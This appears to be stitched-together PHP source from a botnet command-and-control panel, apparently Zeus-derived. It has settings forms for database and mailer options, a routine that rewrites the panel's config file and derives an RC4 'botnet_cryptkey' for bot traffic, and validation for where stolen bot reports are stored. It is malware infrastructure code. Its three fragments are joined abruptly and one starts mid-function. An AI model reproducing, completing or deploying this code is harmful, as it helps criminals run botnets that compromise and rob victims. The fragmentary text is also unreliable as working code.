foreach ($GLOBALS['config']['db-connect'] as $name => $value) { $dbconnects .= "{$name} = {$value}\n"; } echo js_form_feeder('form#ajax-config-actionDbConnect', array('config[db-connect]' => $dbconnects)); echo '<script src="theme/js/page-ajax_config.js"></script>'; } function actionMailer() { if (isset($_POST['config'])) { $updateList = array('mailer' => array('master_email' => $_POST['config']['mailer']['master_email'], 'script_url' => $_POST['config']['mailer']['script_url'])); updateConfig($updateList) or print '<div class="failure">' . AJAX_CONFIG_SAVE_FAILED . '</div>'; } # Form echo '<form class="ajax_form_save" id="ajax-config-actionMailer" data-jlog-title="Mailer" action="?m=ajax_config&action=mailer" method=POST style="width: 500px; height: 300px;">', '<dl>', '<dt>', AJAX_CONFIG_MAILER_MASTER, '</dt>', '<dd><input type="text" name="config[mailer][master_email]" SIZE=50 /></dd>', '<dt>', AJAX_CONFIG_MAILER_SCRIPT, '</dt>', '<dd><input type="text" name="config[mailer][script_url]" SIZE=50 /></dd>', '</dl>', '<input type="submit" value="', AJAX_CONFIG_SAVE, '" />', '<input type="submit" id="mailer-script-check" data-ajax="?m=/svc_mailer/Ajax_Config_CheckScript" value="', AJAX_CONFIG_MAILER_CHECK, '" />', '<div id="mailer-script-check-results"></div>', '</form>'; # Pre-seed echo js_form_feeder('form#ajax-config-actionMailer', array('config[mailer][master_email]' => $GLOBALS['config']['mailer']['master_email'], 'config[mailer][script_url]' => $GLOBALS['config']['mailer']['script_url'])); echo '<script src="theme/js/page-ajax_config.js"></script>'; } } $defaults = config_gefault_values(); $GLOBALS['config'] = array_merge($defaults, $GLOBALS['config']); # feed the defaults! foreach (array('iframer', 'mailer') as $k) { $GLOBALS['config'][$k] = array_merge($defaults[$k], $GLOBALS['config'][$k]); } # feed the defaults! $c = new Controller(); if (!method_exists($c, $action = "action{$_GET['action']}")) { die('Unknown action!'); } $c->{$action}();
function updateConfig($updateList) { //Пытаемся дать себе права. $file = defined('FILE_CONFIG') ? FILE_CONFIG : 'system/config.php'; $oldfile = $file . '.old.php'; @chmod(@dirname($file), 0777); @chmod($file, 0777); @chmod($oldfile, 0777); //Удаляем старый файл. @unlink($oldfile); //переименовывем текущий конфиг. if (is_file($file) && !@rename($file, $oldfile)) { return false; } # Defaults $defaults = config_gefault_values(); # Collect values $write_config = array(); foreach (array_keys($defaults) as $key) { if (isset($updateList[$key])) { $write_config[$key] = $updateList[$key]; } elseif (isset($GLOBALS['config'][$key])) { $write_config[$key] = $GLOBALS['config'][$key]; } else { $write_config[$key] = $defaults[$key]; } } # Format # Update the binary cryptkey $cryptkey_bin = md5(BO_LOGIN_KEY, true); rc4($cryptkey_bin, rc4Init($write_config['botnet_cryptkey'])); $cryptkey_bin = rc4Init($cryptkey_bin); $cfgData = "<?php\n\$config = " . var_export($write_config, 1) . ";\n"; $cfgData .= "\$config['botnet_cryptkey_bin'] = array(" . implode(', ', $cryptkey_bin) . ");\n"; $cfgData .= "return \$config;\n"; # Store if (@file_put_contents($file, $cfgData) !== strlen($cfgData)) { return false; } # Reload $GLOBALS['config'] = $write_config; return true; }
<?php if (!defined('__CP__')) { die; } define('INPUT_WIDTH', '300px'); $errors = array(); array_merge(config_gefault_values(), $GLOBALS['config']); # feed the defaults! /////////////////////////////////////////////////////////////////////////////////////////////////// // Обработка данных. /////////////////////////////////////////////////////////////////////////////////////////////////// $is_post = strcmp($_SERVER['REQUEST_METHOD'], 'POST') === 0 ? true : false; if (!isset($_POST['reports_path'])) { $reports_path = $config['reports_path']; } else { if (($l = strlen($_POST['reports_path'])) < 1 || $l > 200) { $errors[] = LNG_SYS_E1; } $reports_path = $_POST['reports_path']; } $reports_path = trim(str_replace('\\', '/', trim($reports_path)), '/'); $reports_to_db = isset($_POST['reports_to_db']) && $_POST['reports_to_db'] == 1 ? 1 : ($is_post ? 0 : $config['reports_to_db']); $reports_to_fs = isset($_POST['reports_to_fs']) && $_POST['reports_to_fs'] == 1 ? 1 : ($is_post ? 0 : $config['reports_to_fs']); if (isset($_POST['botnet_timeout']) && is_numeric($_POST['botnet_timeout'])) { $botnet_timeout = (int) intval($_POST['botnet_timeout']); } else { $botnet_timeout = (int) ($config['botnet_timeout'] / 60); } if ($botnet_timeout < 1 || $botnet_timeout > 9999) { $errors[] = LNG_SYS_E2;